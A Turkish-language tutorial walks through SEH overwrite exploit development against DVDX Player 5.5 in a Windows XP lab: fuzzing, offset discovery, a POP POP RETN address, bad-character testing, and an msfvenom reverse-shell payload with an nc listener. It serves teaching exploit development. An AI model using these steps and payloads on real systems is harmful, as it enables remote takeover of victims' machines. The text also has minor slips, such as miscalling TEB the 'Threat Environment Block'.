SEH Exploit Geliştirme

 Bu yazıda exploit geliştirme konularından biri olan seh exploit geliştirme konusundan bahsedilecektir.

Öncelikle seh ve nseh kavramlarından kısaca bahsedilip ardından pratik olarak exploit yazımına geçilecektir.

Yazılım geliştirirken exception handle etmek için try, catch, except gibi bloklar kullanılır. Bir exception yakalandığı zaman SEH Chain dediğimiz zincire bu exceptiondan dolayı hangi memory adreslerine atlanacağı belirtilir, ardından sırası ile seh adreslerine atlanır. Bu zincirin tutulduğu yere TEB (Threat Environment Block) adı verilmektedir. Seh ve nseh kavramlarını linked list olarak düşünülebilir. Nseh yani next seh bir sonraki seh’in adresini tutan bir pointerdır. Nseh üzerinden bir sonraki seh adresine atlanılır. Burada yapmak istenilen işlem bu atlamalar sırasında nseh ve seh adreslerinin bulunup istenilen şekilde akışın kontrol edilmeye çalışılmasıdır. Bu yazıda hedeflenen daha çok pratik olarak exploit yazmak olduğu için teori fazla uzatılmadan temel olarak yapılmak istenilen işin anlatılmasına ve exploitin temel iskeletinin tanıtımına geçilecektir.

 Seh exploit geliştirirken temel stack buffer overflow mantığı kullanılmakta fakat seh exploit geliştirirken seh ve nseh adresleri manipüle edilmeye çalışılmaktadır. Yazılacak exploit için kullanılacak iskelet junk + nseh + seh + nops + shellcode + junk2 şekilde olacaktır. Nseh adresine kısa bir atlama komutu ardından gelecek, seh adresine ise “POP r32 POP r32 RETN” komut zincirinin olduğu bir memory adresi yazılacaktır. Ardından stack shellcodedan önce (Stackte gerekli yer varsa) noplar ile doldurulup bu noplara atlanmaya çalışılacaktır, noplar çalıştıktan sonra oluşturulan shellcode çalışmaya başlayacak ve sistemden shell alınmış olacaktır.

 Gerekli araçlar ve yazılımlar:

  1. Python yüklü bir Linux dağıtımı (Tercihen Kali veya Parrot gibi bir dağıtım.)
  2. Debugger (Immunity Debugger kullanılacaktır.)
  3. Metasploit-framework veya Linux içinde gbd-peda
  4. Exploit geliştirme ortamı olarak Windows bir sanal makine (Tercihen XP SP3)
  5. Zafiyetli bir yazılım (Bu yazıda DVDX Player 5.5 uygulaması incelenecektir.)

Yapılacak uygulama adımları sıralanacak olursa. Zafiyeti tespit etmek için öncelikle fuzzing işlemi uygulanacak. Ardından Immunity Debuggerdan SEH Chainde görülen nseh ve seh adreslerinin offsetleri bulunmaya çalışılacak ve bu offsetleri bulunan yerlere istenilen adresler oturtulmaya çalışılacaktır. Daha sonra kötü karakter testi ile kötü karakterler bulunmaya çalışılacak. Son olarak shellcode oluşturulacak ve zararlı dosyamız oluşturulup shell alınmaya çalışılacaktır.

Python scripti:

import sys

try:

fuzz=”A”*2500

dosya = open(sys.argv[1],”w”)

dosya.write(fuzz)

dosya.close

print(“[+]Dosya oluşturuldu.”)

except:

print(“[!]Dosya oluşturulamadı.”)

Fuzzing dosyası oluşturulmuş, ardından SimpleHTTPServer ile Windows kutuya test dosyası aktarılmıştır. Normal şartlarda fuzzing işleminde değişik boyutlarda inputlar denensede zaman kaybetmemek adına büyük boyutlu bir dosya ile zafiyet olup olmadığını incelenmek istenmiştir.

DVD Player uygulamasına test.plf dosyası playlist olarak verilecek ve debuggerdan incelenecektir.

Stackte EIP üzerine, seh ve nseh üzerine yazılabildiği görülmekte. Dipnot olarak EIP Üzerine yazılabilmesi klasik buffer overflow zafiyetininde bu uygulamada bulunduğu anlamına gelmekte fakat şu an istenilen seh ve nseh değerlerini kontrol etmek olduğundan EIP kullanılmayacaktır.

 Bir sonraki adımda seh ve nseh offset değerleri bulunmaya çalışılacaktır.

 Offset değerleri bulunurken msf-pattern_create ve msf-pattern_offset araçlarının yanında gbd pedada bulunan pattern özelliğide kullanılabilir. Bu yazımızda metasploit framework içinde gelen msf-pattern_create ve msf-pattern_offset araçlarından faydalanılacaktır

Program crash olduğu için programın yeniden debugger ile çalıştırılması gerekmekte, yeniden başlatmak için Immunity Debuggerdaki replay ve play tuşları kullanılacaktır.

 Yapılacak şu anki işlem ise offsetlerin bulunması olacaktır. Öncelikle msf-pattern_create ile unique(benzersiz) bir pattern oluşturulacak, bu pattern ile plf dosyası hazırlanacak ve bu dosya player’a liste olarak verilecektir. Ardından seh ve nseh üzerine düşen değerleri yani nseh için address, seh için SE Handler değerleri kopyalanacak ve msf-pattern_offset ile offset değerleri bulunacaktır.

msf-pattern_create – l <uzunluk>

ile oluşturulacak patternin uzunluğu belirtilecek. Ardından SEH Chaindeki değerlerin offsetlerinin bulunması için msf-pattern_offset -q <değerler> komutu ile offset bulunacaktır.

Fuzz değişkenindeki A’ların yerine kullanılan pattern ve offset bulmak için kullanılan python scripti:

Bulunan offset değerleri ile seh chainde istenilen değişiklikler yapılabiliyor mu kontrol edilecektir. Kontrol sağlamak için scriptteki pattern silinip, fuzz değişkeni aşağıdaki gibi değiştirilmektedir.

fuzz=’\x41’*608+’\x42’*4+’\x43’*4+’\x90’*100

Yukarıdaki değişken ile yeni bir plf dosyası oluşturulup uygulamaya verildiğinde SEH Chainde görülmek istenilen değerler 42424242 ve 43434343 olacaktır.

Yeniden debugger ile çalıştırılıp oluşturulan plf dosyası player’a verildiğinde SEH Chain yeniden incelenecektir.

 Bulunan offsetten sonra SEH Chaindeki değerlerin istenildiği şekilde değiştirilebildiği görülmüştür.

Değerlerin değiştiği görüldükten sonra bu adreslere daha anlamlı ve iş görecek adresler yazılacaktır. Girişte belirtildiği gibi önce atlama komutu daha sonra da POP POP RETN komut zincirinin olduğu bir memory adresi yazılacak (bu komut zincirinin kullanılmasının nedeni komut zinciri çalıştığında akışın nseh kaydına dönecek olması ve ardından atlama komutu ile nop komutlarına düşecek olunmasıdır.). Adresler bulunurken öncelikle Immunity Debugger’ın bir eklentisi olan mona scriptini kullanılacaktır. !mona modules komutuile modüllerden ASLR, DEP, özellikle Safe SEH gibi korumaların kapalı olduğu bir modül seçilip bu modül üzerinden ilerlenecek ve komutlar bu modül içinde aranacaktır.  Debuggerda “e” butonu ile dll bulunup çift tıklanacak ve modüldeki kodların içine gidilecektir (Bu uygulamada EPG.dll kullanılmıştır.).

Ardından kodlara sağ tıklanıp search -> all sequences seçeneği ile ilerlenilecek ardından gelen kutucuğa aramak istenilen komut zinciri yazılacaktır. Bulunan sonuçlardan içinde kötü karakter geçmeyen bir adres seçilecek ve seh bölgesine o adres yazılacaktır. Bulunan adresler arasından 61617619 adresi kullanılacaktır (kötü karakter içermeyen diğer adreslerde kullanılabilir). Nseh üzerine ise 6 byte atlanılması için EB06 komutu ardından da nop (\x90) kodları eklenecektir. Sonuç olarak seh üzerine 61617619 adresi, nseh üzerine ise EB069090 opcodeları düşürülecektir. Seh üzerine adres düşürülürken little endian kavramının göz önünde bulundurulması gerekmekte. Bu nedenle adres \x61\x61\x76\x19 yerine \x19\x76\x61\x61 şeklinde yazılacaktır.

Son olarak kötü karakter tespiti ve shellcode oluşturma işlemleri yapılacaktır. Kötü karakterler bulunurken kodları etkileyen, stack içinde doğru gözükmeyen, yanındaki değerleri etkileyen kısaca normal işleyişi bozan karakterler tespit edilip shellcodedan çıkartılmaları gerekmekte.

Bu işlemde \x00, \x0a, \x0d yani null byte ve CR, LF karakterleri çoğu zaman kötü karakter olmakta diğer uygulama özelindeki kötü karakterler için stack içindeki işleyişi dikkatli bir şekilde gözlemlemek gerekmekte.

Script, tüm karakterlerin olduğu bir dosyanın oluşturulması için değiştirilmekte (Yeni bir script oluşturulabilir). Bu oluşturulan dosya playera liste olarak verildiğinde stack durumu incelenecektir.

ESP registerına sağ tıklanıp Follow in Dump ile stack bölgesinin başına gelinecek ardından dosyaya gömülen değerlerin olduğu  bölgeye inilecektir. 19 karakterinden sonra bir bozulma görüldüğü için 19’dan sonra gelen 1A karakteri kötü karakter listesine eklenecektir. Scriptten bu karakter çıkartılıp yeniden aynı işlem tekrarlanacaktır. Kötü karakter kalmadığından emin olunduğu zaman shellcode oluşturulup exploit tamamlanacaktır.

Kötü karakter olarak \x00, \x0a, \x0d, \x1a karakterleri msfvenomda belirtilip shellcode oluşturulacaktır.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.189.152 LPORT=443 -b ‘\x00\x0A\x0D\x1A’ -f c

Oluşturulan shellcode’un bitiminde yeniden bir junk eklenecektir (Zorunlu değil).

Son olarak exploit oluşturulacak script aşağıdaki gibi olacaktır.

Exploit dosyası oluşturulup (python exploit.py dosya.plf) playerda liste olarak eklenmeye çalışılacaktır.

Liste olarak oluşturulan plf dosyası uygulamaya verilmeden önce kali makinede nc -lvp 443 komutu ile 443 portu dinleme moduna alınacaktır. Oluşturulan dosya playlist olarak eklenmeye çalışıldığı anda Windows makinenin shelli alınmış olacaktır.

Berk KIRAS | PwC-Cyber Security Specialist